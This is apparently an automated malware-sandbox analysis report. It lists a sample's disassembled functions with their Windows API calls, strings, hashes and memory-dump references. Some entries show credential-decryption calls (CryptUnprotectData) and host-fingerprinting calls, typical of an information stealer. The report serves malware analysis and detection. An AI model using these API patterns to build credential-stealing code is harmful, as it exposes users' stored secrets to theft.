Opcode Fuzzy Hash: cf7d29cf102896b509aecec643232b3c28dc3eb351c0346d53643ae7791487da
Instruction Fuzzy Hash: BF11D270204208BFDB04CF64D884FBB33A9AB89310F108559BA198B350DB79ED41CBA9

Function 004F7B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00500DE8,00000000,?), ref: 004F7B40
RtlAllocateHeap.NTDLL(00000000), ref: 004F7B47
GetLocalTime.KERNEL32(?,?,?,?,?,00500DE8,00000000,?), ref: 004F7B54
wsprintfA.USER32 ref: 004F7B83

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 05bcb4415e7411e06fb29b4f4500f26ba9c5dc224e295031d9e67ffae2f17198
Instruction ID: ac45ae6e3988e3b212764104a0bbf02e2235fe9b26d727872650764d68ee14d4
Opcode Fuzzy Hash: 05bcb4415e7411e06fb29b4f4500f26ba9c5dc224e295031d9e67ffae2f17198
Instruction Fuzzy Hash: 171118B2908118AACB149BD9DD45FBEB7B8FB8CB11F10821AF605A2280D23D5940C7B4

Function 004F7BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0145DFB0,00000000,?,00500DF8,00000000,?,00000000,00000000), ref: 004F7BF3
RtlAllocateHeap.NTDLL(00000000), ref: 004F7BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0145DFB0,00000000,?,00500DF8,00000000,?,00000000,00000000,?), ref: 004F7C0D
wsprintfA.USER32 ref: 004F7C47

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 8e0686038187763e9a22e02637ab2cadb4b997093dfe0977a9d03c98cc0da13f
Instruction ID: ec82f41b6fbe5a494586c115715bf32df26ce57db9494e0fa4447d3c910797b2
Opcode Fuzzy Hash: 8e0686038187763e9a22e02637ab2cadb4b997093dfe0977a9d03c98cc0da13f
Instruction Fuzzy Hash: CC11E1B0A09218EBEB248F54DC45FA9BB78FB40720F1043D6F60AA32C0C7781A40CB55

Function 004F3970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(004FE120,00000000,00000001,004FE110,00000000), ref: 004F39A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004F3A00

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 86da4b39d89ff361b24df28072b66f012ef961e02a13ede49cca1bbbfcc408a4
Instruction ID: f41f6f2e68bc34de2828acb90de0a2d3175597c646cef0fbf72ff781fdb68974
Opcode Fuzzy Hash: 86da4b39d89ff361b24df28072b66f012ef961e02a13ede49cca1bbbfcc408a4
Instruction Fuzzy Hash: FE41E770A00A1C9FDB24DF59CC95FABB7B5AB48702F4081C9E608E7290D7B56E85CF54

Function 004EA2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004EA2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 004EA2F3
LocalFree.KERNEL32(?), ref: 004EA323

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 8dc24d19efc8eeb4ee48031f25422cf443cce6c992cc1374aaa2fc949fd896cd
Instruction ID: 2d10a6b17dd4b4081405b82668f43b46f09698038fa47e22405855a464913db8
Opcode Fuzzy Hash: 8dc24d19efc8eeb4ee48031f25422cf443cce6c992cc1374aaa2fc949fd896cd
Instruction Fuzzy Hash: 9011E8B8A00209DFCB04DF94D888EAEB7B5FB88300F108559ED15A7390D734AE50CB61

Function 0092F8BA Relevance: 4.1, Strings: 2, Instructions: 1580COMMON

Download Yara Rule

Strings

5,w=, xrefs: 00930891
{7W~, xrefs: 0092FFF7

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5,w=${7W~
API String ID: 0-1447155224
Opcode ID: 3388916720b240f307ab5601464185f3094b5606a506889c75520527b04671fa
Instruction ID: c35c27307423237eab8a915b24a5450096830597114760e63a08cd8f86489a41
Opcode Fuzzy Hash: 3388916720b240f307ab5601464185f3094b5606a506889c75520527b04671fa
Instruction Fuzzy Hash: 33B2F5F3A0C2009FE304AE29EC8567ABBE9EF94720F1A493DE6C5C7744E63558058797

Function 00554BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON

Download Yara Rule

Strings

?, xrefs: 005554D5
__ZN, xrefs: 00554FDF

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?$__ZN
API String ID: 0-1427190319
Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction ID: d8428892eab0b2176edb2e0cabeb586f65d546e1a2cfa388d8fcc7b9decb42a5
Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction Fuzzy Hash: D9722372908B519BD714CE24C8B066ABFE2BFC5312F598A1EFCD55B291E3709C49CB42

Function 00535DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 00536009

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: xn--
API String ID: 0-2826155999
Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction ID: dfe52bc85d79b5a436cb2d24f18e11ca9a1e19e2e767fe08c70dd3dd7c792529
Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction Fuzzy Hash: 6EA225B2C042689AEF29CB54C8A53EDBFB1FF45300F1882AED4567B281D7355E85CB61

Function 00534DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00534DF3

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction ID: b75f08076ae197f0fc79a1d7f7cc3a0294179f44d4e279f61f6384e1cdfbd40f
Opcode Fuzzy Hash: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction Fuzzy Hash: C2E1BF316083419FC725CE28C8917AEBBE6FFC9300F59492DE5D99B391E731A855CB82

Function 00534868 Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00534893

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction ID: 76bb34655fcbca2f4e097b47110b00259db26d65b6740f7595c186c5c403cf3e
Opcode Fuzzy Hash: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction Fuzzy Hash: D1E1A371A083059FDB24CE18C8917AEFBE6FFC5310F15892DE9999B251DB30AC458F46

Function 0054E258 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

UNC\, xrefs: 0054E5B4

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction ID: c1b28909a26234456443a9f564c8e4bdcdbc38d9d6cb43c8d466212d453ceaf8
Opcode Fuzzy Hash: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction Fuzzy Hash: 00E14B71D042658EEF21CF18C8867FEBFE2BB8531CF198169C4A46B292D7758D46CB90

Function 0081E5FC Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

t9;I, xrefs: 0081E6F8

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: t9;I
API String ID: 0-3708887236
Opcode ID: 8c03838001a587efe1f2912a1828fd81fcc6961f32ba2dfc001e95dd28121996
Instruction ID: ebb200def2e2c4532689f60700194c54dce41c1efc454bf07feecba10beab087
Opcode Fuzzy Hash: 8c03838001a587efe1f2912a1828fd81fcc6961f32ba2dfc001e95dd28121996
Instruction Fuzzy Hash: F0514CF7E082145FF340AA39EC4472BBAE6EBD4350F1B853CDAC8D7744E93599058692

Function 008631FB Relevance: 1.4, Strings: 1, Instructions: 181COMMON

Download Yara Rule

Strings

I!k~, xrefs: 008632DC

Memory Dump Source

Source File: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: I!k~
API String ID: 0-3479374379
